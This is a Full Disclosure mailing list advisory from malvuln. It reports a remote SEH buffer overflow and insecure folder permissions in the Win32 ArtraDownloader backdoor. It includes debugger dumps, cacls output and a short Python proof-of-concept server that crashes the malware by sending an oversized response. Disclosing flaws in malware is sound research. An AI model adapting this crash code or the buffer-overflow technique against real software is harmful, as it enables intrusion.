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Date: Sat, 2 Jan 2021 17:58:04 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] WIN32 BACKDOOR - 2019-02-ARTRADOWNLOADER / Remote SEH Buffer
 Overflow and Insecure Permissions

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
http://malvuln.com/advisory/8d42c01180be7588a2a68ad96dd0cf85.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: WIN32 BACKDOOR - 2019-02-ARTRADOWNLOADER
Vulnerabilities: Remote SEH Buffer Overflow and Insecure Permissions
Description: Remote SEH Buffer Overflow on server response port 80.
Change permissions are granted to authenticated users on the c:\intel
dir housing the malware.

Type: PE32
MD5: 8d42c01180be7588a2a68ad96dd0cf85
Vuln ID: MVID-2021-0013
Dropped files: msdtcv.exe
ASLR: True
Safe SEH: True
Disclosure: 01/01/2021

Memory Dump:
0:000> !exchain
008fb44c: KERNELBASE!invalid_parameter+f0 (7675fc20)
008fb514: kernel32!RtlCaptureContext+60 (76e8d450)
008fb5d8: KERNELBASE!invalid_parameter+f0 (7675fc20)
008fc994: 41414141
Invalid exception stack at 41414141

0:000> .ecxr
eax=008fb924 ebx=ffffffff ecx=41cef865 edx=02c24bc8 esi=008fe5a0 edi=73cfbeb0
eip=009029be esp=008fb924 ebp=008fc9a0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0+0x29be:
009029be 81c4800f0000 add esp,0F80h

0:000>dd 008fb9cc
008fb9cc 41414141 41414141 41414141 41414141
008fb9dc 41414141 41414141 41414141 41414141
008fb9ec 41414141 41414141 41414141 41414141
008fb9fc 41414141 41414141 41414141 41414141


Exploit/PoC:
import socket

port=80
payload="A"*72000

def doit():
    global payload
    s = socket.socket()
    try:
        host = ''
        s.bind((host, port))
        s.listen(5)

        print('Win32 Backdoor - 2019-02-ArtraDownloader / SEH Buffer
Overflow PoC')
        print('MD5: 8d42c01180be7588a2a68ad96dd0cf85')
        print("By malvuln")

        while True:
            conn, addr = s.accept()
            conn.send(payload+'\r\n')
            conn.close()
    except Exception as e:
        pass

if __name__=="__main__":
    doit()



Insecure Permissions: msdtcv.exe

C:\intel>cacls msdtcv.exe
C:\intel\msdtcv.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occuring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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